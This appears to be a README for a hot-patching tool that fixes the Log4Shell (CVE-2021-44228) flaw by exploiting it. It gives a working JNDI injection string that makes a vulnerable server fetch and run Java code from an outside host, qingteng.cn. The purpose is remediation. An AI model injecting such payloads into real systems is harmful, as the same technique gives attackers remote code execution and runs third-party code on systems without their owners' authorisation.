Hot-patch CVE-2021-44228 by exploiting the vulnerability itself.
Inject the following code to anywhere likely vulnerable to CVE-2021-44228
${jndi:ldaps://cve-2021-44228.qingteng.cn:8443/patch}
and the vulnerability will get fixed,
or run your own server using binaries from releases
Hotfix.java should be compiled with JDK6 for maximum compatibility.